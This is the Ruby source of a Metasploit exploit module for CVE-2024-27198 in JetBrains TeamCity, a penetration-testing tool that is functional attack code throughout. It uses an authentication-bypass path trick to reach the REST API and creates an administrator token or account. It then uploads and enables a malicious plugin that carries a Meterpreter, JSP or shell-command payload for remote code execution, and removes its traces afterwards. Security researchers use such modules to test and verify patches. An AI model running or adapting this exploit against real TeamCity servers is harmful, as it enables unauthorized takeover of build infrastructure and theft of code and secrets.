## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Exploit::Remote Rank = ExcellentRanking prepend Msf::Exploit::Remote::AutoCheck include Msf::Exploit::Remote::HttpClient include Msf::Exploit::FileDropper def initialize(info = {}) super( update_info( info, 'Name' => 'JetBrains TeamCity Unauthenticated Remote Code Execution', 'Description' => %q{ This module exploits an authentication bypass vulnerability in JetBrains TeamCity. An unauthenticated attacker can leverage this to access the REST API and create a new administrator access token. This token can be used to upload a plugin which contains a Metasploit payload, allowing the attacker to achieve unauthenticated RCE on the target TeamCity server. On older versions of TeamCity, access tokens do not exist so the exploit will instead create a new administrator account before uploading a plugin. Older version of TeamCity have a debug endpoint (/app/rest/debug/process) that allows for arbitrary commands to be executed, however recent version of TeamCity no longer ship this endpoint, hence why a plugin is leveraged for code execution instead, as this is supported on all versions tested. }, 'License' => MSF_LICENSE, 'Author' => [ 'sfewer-r7', # Discovery, Analysis, Exploit ], 'References' => [ ['CVE', '2024-27198'], ['URL', 'https://www.rapid7.com/blog/post/2024/03/04/etr-cve-2024-27198-and-cve-2024-27199-jetbrains-teamcity-multiple-authentication-bypass-vulnerabilities-fixed/'], ['URL', 'https://blog.jetbrains.com/teamcity/2024/03/teamcity-2023-11-4-is-out/'] ], 'DisclosureDate' => '2024-03-04', 'Platform' => %w[java win linux unix], 'Arch' => [ARCH_JAVA, ARCH_CMD], 'Privileged' => false, # TeamCity may be installed to run as local system/root, or it may be run as a custom user account. # Tested against: # * TeamCity 2023.11.3 (build 147512) running on Windows Server 2022 # * TeamCity 2023.11.2 (build 147486) running on Windows Server 2022 # * TeamCity 2023.11.3 (build 147512) running on Linux # * TeamCity 2018.2.4 (build 61678) running on Windows Server 2016 'Targets' => [ [ 'Java', { 'Platform' => 'java', 'Arch' => ARCH_JAVA, 'DefaultOptions' => { # We execute the Java payload in a thread in the target Tomcat process. Spawn must be 0 for this to # happen, otherwise Spawn forces the Paylaod.java class to drop the payload to disk. For an unknown # reason Spawn > 0 will not work against TeamCity on Linux. 'Spawn' => 0 } } ], [ 'Java Server Page', { 'Platform' => %w[win linux unix], 'Arch' => ARCH_JAVA } ], [ 'Windows Command', { 'Platform' => 'win', 'Arch' => ARCH_CMD } ], [ 'Linux Command', { 'Platform' => 'linux', 'Arch' => ARCH_CMD } ], [ 'Unix Command', { 'Platform' => 'unix', 'Arch' => ARCH_CMD } ] ], 'DefaultTarget' => 0, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] } ) ) register_options( [ # By default TeamCity listens for HTTP requests on TCP port 8111 (Older version of the product listen on # port 80 by default). Opt::RPORT(8111), OptString.new('TARGETURI', [true, 'The base path to TeamCity', '/']), # The first user created during installation is an administrator account, so the ID will be 1. OptInt.new('TEAMCITY_ADMIN_ID', [true, 'The ID of an administrator account to authenticate as', 1]) ] ) end # This is the authentication bypass vulnerability, allowing any authenticated endpoint to be access unauthenticated. def send_auth_bypass_request_cgi(opts = {}) # The file name of the .jsp can be 0 or more characters (it just has to end in .jsp) vars_get = { 'jsp' => "#{opts['uri']};#{Rex::Text.rand_text_alphanumeric(rand(8))}.jsp" } # Add in 0 or more random query parameters, and ensure the order is shuffled in the request. 0.upto(rand(8)) do vars_get[Rex::Text.rand_text_alphanumeric(rand(1..8))] = Rex::Text.rand_text_alphanumeric(rand(1..16)) end opts['vars_get'] ||= {} opts['vars_get'].merge!(vars_get) opts['shuffle_get_params'] = true opts['uri'] = normalize_uri(target_uri.path, Rex::Text.rand_text_alphanumeric(8)) send_request_cgi(opts) end def check # We leverage the vulnerability to reach the /app/rest/server endpoint. If this request succeeds then we know the # target is vulnerable. server_res = send_auth_bypass_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server') ) return CheckCode::Unknown('Connection failed') unless server_res # A patched TeamCity, e.g. 2023.11.4, reports 403 (Forbidden) return CheckCode::Safe if server_res.code == 403 return CheckCode::Unknown("Received unexpected HTTP status code: #{server_res.code}.") unless server_res.code == 200 # We can request /app/rest/debug/jvm/systemProperties and pull out the Java "os.name" property. We dont fail the # check routine if this request fails, as we have enough info to provide a CheckCode, however displaying the target # platform can help inform the user what payload target to choose (i.e. Windows or Linux). sysprop_res = send_auth_bypass_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'debug', 'jvm', 'systemProperties') ) platform = '' if sysprop_res&.code == 200 xml_sysprop_data = sysprop_res.get_xml_document os_name = xml_sysprop_data&.at('property[name="os.name"]') platform = " running on #{os_name.attr('value')}" if os_name end xml_server_data = server_res.get_xml_document server_data = xml_server_data&.at('server') version = " #{server_data.attr('version')}" if server_data CheckCode::Vulnerable("JetBrains TeamCity#{version}#{platform}.") end def exploit # # 1. Leverage the auth bypass to generate a new administrator access token. Older version of TeamCity (circa 2018) # do not have support for access token, so we fall back to creating a new administrator account. The benefit # of using an access token is we can delete it when we are finished, unlike a user account. # token_name = Rex::Text.rand_text_alphanumeric(8) res = send_auth_bypass_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users', "id:#{datastore['TEAMCITY_ADMIN_ID']}", 'tokens', token_name) ) if res && (res.code == 404) && res.body.include?('api.NotFoundException') print_warning('Tokens API not found, falling back to creating an admin user.') token_name = nil token_value = nil http_authorization = auth_new_admin_user fail_with(Failure::NoAccess, 'Failed to login with new admin user credentials.') if http_authorization.nil? else unless res&.code == 200 # One reason token creation may fail is if we use a user ID for a user that does not exist. We detect that here # and instruct the user to choose a new ID via the TEAMCITY_ADMIN_ID option. if res && (res.code == 404) && res.body.include?('User not found') print_warning('User not found. Try setting the TEAMCITY_ADMIN_ID option to a different ID.') end fail_with(Failure::UnexpectedReply, 'Failed to create an authentication token.') end # Extract the authentication token from the response. token_value = res.get_xml_document&.xpath('/token')&.attr('value')&.to_s fail_with(Failure::UnexpectedReply, 'Failed to read authentication token from reply.') if token_value.nil? print_status("Created authentication token: #{token_value}") http_authorization = "Bearer #{token_value}" end # As we have created an access token, this begin block ensures we delete the token when we are done. begin # # 2. Create a malicious TeamCity plugin to host our payload. # plugin_name = Rex::Text.rand_text_alphanumeric(8) zip_plugin = create_payload_plugin(plugin_name) fail_with(Failure::BadConfig, 'Could not create the payload plugin.') if zip_plugin.nil? # # 3. Upload the payload plugin to the TeamCity server # print_status("Uploading plugin: #{plugin_name}") message = Rex::MIME::Message.new message.add_part( "#{plugin_name}.zip", nil, nil, 'form-data; name="fileName"' ) message.add_part( zip_plugin.pack.to_s, 'application/octet-stream', 'binary', "form-data; name=\"file:fileToUpload\"; filename=\"#{plugin_name}.zip\"" ) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'pluginUpload.html'), 'ctype' => 'multipart/form-data; boundary=' + message.bound, 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'data' => message.to_s ) fail_with(Failure::UnexpectedReply, 'Failed to upload the plugin.') unless res&.code == 200 # # 4. We have to enable the newly uploaded plugin so the plugin actually loads into the server. # res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'loadAll', 'plugins' => plugin_name } ) fail_with(Failure::UnexpectedReply, 'Failed to load the plugin.') unless res&.code == 200 # As we have uploaded the plugin, this begin block ensure we delete the plugin when we are done. begin # # 5. Begin to clean up, register several paths for cleanup. # if (install_path, sep = get_install_path(http_authorization)) vprint_status("Target install path: #{install_path}") if target['Arch'] == ARCH_JAVA # The Java payload plugin will have its buildServerResources extracted to a path like: # C:\TeamCity\webapps\ROOT\plugins\yxfyjrBQ # So we register this for cleanup. # Note: The java process may recreate this a second time after we delete it. register_dir_for_cleanup([install_path, 'webapps', 'ROOT', 'plugins', plugin_name].join(sep)) end if (build_number = get_build_number(http_authorization)) vprint_status("Target build number: #{build_number}") # The Tomcat web server will compile our ARCH_JAVA payload and store the associated .class files in a # path like: C:\TeamCity\work\Catalina\localhost\ROOT\TC_147512_6vDwPWJs\org\apache\jsp\plugins\_6vDwPWJs\ # So we register this for cleanup too. This folder will be created for a ARCH_CMD payload, although # it will be empty. register_dir_for_cleanup([install_path, 'work', 'Catalina', 'localhost', 'ROOT', "TC_#{build_number}_#{plugin_name}"].join(sep)) else print_warning('Could not discover build number. Unable to register Catalina files for cleanup.') end else print_warning('Could not discover install path. Unable to register files for cleanup.') end # On a Linux target we see the extracted plugin file remaining here even after we delete the plugin. # /home/teamcity/.BuildServer/system/caches/plugins.unpacked/XXXXXXXX/ if (data_path = get_data_dir_path(http_authorization)) vprint_status("Target data directory path: #{data_path}") register_dir_for_cleanup([data_path, 'system', 'caches', 'plugins.unpacked', plugin_name].join(sep)) else print_warning('Could not discover data directory path. Unable to register files for cleanup.') end # # 6. Trigger the payload and get a session. ARCH_JAVA JSP payloads need us to hit an endpoint. ARCH_JAVA Java # payloads and ARCH_CMD payloads are triggered upon enabling a loaded plugin. # if target['Arch'] == ARCH_JAVA && target['Platform'] != 'java' res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'plugins', plugin_name, "#{plugin_name}.jsp"), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) fail_with(Failure::UnexpectedReply, 'Failed to trigger the payload.') unless res&.code == 200 end ensure # # 7. Ensure we delete the plugin from the server when we are finished. # print_status('Deleting the plugin...') print_warning('Failed to delete the plugin.') unless delete_plugin(http_authorization, plugin_name) end ensure # # 8. Ensure we delete the access token we created when we are finished. If we authorized via a user name and # password, we cannot delete the user account we created. # if token_name && token_value print_status('Deleting the authentication token...') print_warning('Failed to delete the authentication token.') unless delete_token(token_name, token_value) end end end def auth_new_admin_user admin_username = Faker::Internet.username admin_password = Rex::Text.rand_text_alphanumeric(16) res = send_auth_bypass_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'users'), 'ctype' => 'application/json', 'data' => { 'username' => admin_username, 'password' => admin_password, 'name' => Faker::Name.name, 'email' => Faker::Internet.email(name: admin_username), 'roles' => { 'role' => [ { 'roleId' => 'SYSTEM_ADMIN', 'scope' => 'g' } ] } }.to_json ) unless res&.code == 200 print_warning('Failed to create an administrator user.') return nil end print_status("Created account: #{admin_username}:#{admin_password} (Note: This account will not be deleted by the module)") http_authorization = basic_auth(admin_username, admin_password) # Login via HTTP basic authorization and store the session cookie. res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) # A failed login attempt will return in a 401. We expect a 302 redirect upon success. if res&.code == 401 print_warning('Failed to login with new admin user credentials.') return nil end http_authorization end def create_payload_plugin(plugin_name) if target['Arch'] == ARCH_CMD case target['Platform'] when 'win' shell = 'cmd.exe' flag = '/c' when 'linux', 'unix' shell = '/bin/sh' flag = '-c' else print_warning('Unsupported target platform.') return nil end zip_resources = Rex::Zip::Archive.new zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", <<~XML #{shell} #{flag} XML ) elsif target['Arch'] == ARCH_JAVA # If the platform is java we can bootstrap a Java Meterpreter if target['Platform'] == 'java' zip_resources = payload.encoded_jar(random: true) # Add in PayloadServlet as this is implements Runable and we can run the payload in a thread. servlet = MetasploitPayloads.read('java', 'metasploit', 'PayloadServlet.class') zip_resources.add_file('/metasploit/PayloadServlet.class', servlet) payload_bean_id = Rex::Text.rand_text_alpha(8) # We start the payload in a new thread via some Spring Expression Language (SpEL). bootstrap_spel = "\#{ new java.lang.Thread(#{payload_bean_id}).start() }" # NOTE: We place bootstrap_spel in a separate bean, as if this generates an exception the plugin will fail # to load correctly, which prevents the exploit from deleting the plugin later. We choose java.beans.Encoder # as the setExceptionListener method will accept the null value the bootstrap_spel will generate. If we # choose a property that does not exist, we generate several exceptions in the teamcity-server.log. zip_resources.add_file( "META-INF/build-server-plugin-#{plugin_name}.xml", <<~XML XML ) else # For non java platforms with ARCH_JAVA, we can drop a JSP payload. zip_resources = Rex::Zip::Archive.new zip_resources.add_file("buildServerResources/#{plugin_name}.jsp", payload.encoded) end else print_warning('Unsupported target architecture.') return nil end zip_plugin = Rex::Zip::Archive.new zip_plugin.add_file( 'teamcity-plugin.xml', <<~XML #{plugin_name} #{plugin_name} #{Faker::Lorem.sentence} #{Faker::App.semantic_version} #{Faker::Company.name} #{Faker::Internet.url} XML ) zip_plugin.add_file("server/#{plugin_name}.jar", zip_resources.pack) zip_plugin end def get_install_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'plugins'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request plugins information.') return nil end plugins_xml = res.get_xml_document restapi_data = plugins_xml.at("//plugin[@name='rest-api']") restapi_load_path = restapi_data&.attr('loadPath') if restapi_load_path.nil? print_warning('Failed to extract plugin loadPath.') return nil end # C:\TeamCity\webapps\ROOT\WEB-INF\plugins\rest-api platforms = { '\\webapps\\ROOT\\WEB-INF\\plugins\\' => '\\', '/webapps/ROOT/WEB-INF/plugins/' => '/' } platforms.each do |path, sep| if (pos = restapi_load_path.index(path)) return [restapi_load_path[0, pos], sep] end end print_warning('Failed to extract install path.') nil end def get_data_dir_path(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server', 'dataDirectoryPath'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request data directory path.') return nil end res.body end def get_build_number(http_authorization) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'app', 'rest', 'server'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization } ) unless res&.code == 200 print_warning('Failed to request server information.') return nil end xml_data = res.get_xml_document server_data = xml_data.at('server') server_data.attr('buildNumber') end def get_plugin_uuid(http_authorization, plugin_name) res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'admin', 'admin.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_get' => { 'item' => 'plugins' } ) unless res&.code == 200 print_warning('Failed to list all plugins.') return nil end uuid_match = res.body.match(/'#{Regexp.quote(plugin_name)}', '([a-fA-F0-9]{8}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{4}-[a-fA-F0-9]{12})'/) if uuid_match&.length != 2 print_warning('Failed to grep for plugin GUID') return nil end uuid_match[1] end def delete_plugin(http_authorization, plugin_name) plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover enabled plugin UUID') return false end vprint_status("Enabled Plugin UUID: #{plugin_uuid}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'setEnabled', 'enabled' => 'false', 'uuid' => plugin_uuid } ) unless res&.code == 200 print_warning('Failed to disable the plugin.') return false end # The UUID changes after we disable the plugin, so we need to call get_plugin_uuid a second time. plugin_uuid = get_plugin_uuid(http_authorization, plugin_name) if plugin_uuid.nil? print_warning('Failed to discover disabled plugin UUID') return false end vprint_status("Disabled Plugin UUID: #{plugin_uuid}") res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'plugins.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => http_authorization }, 'vars_post' => { 'action' => 'delete', 'uuid' => plugin_uuid } ) unless res&.code == 200 print_warning('Failed request for plugin deletion.') return false end true end def delete_token(token_name, token_value) res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'admin', 'accessTokens.html'), 'keep_cookies' => true, 'headers' => { 'Origin' => full_uri, 'Authorization' => "Bearer #{token_value}" }, 'vars_post' => { 'accessTokenName' => token_name, 'delete' => 'true', 'userId' => datastore['TEAMCITY_ADMIN_ID'] } ) res&.code == 200 end end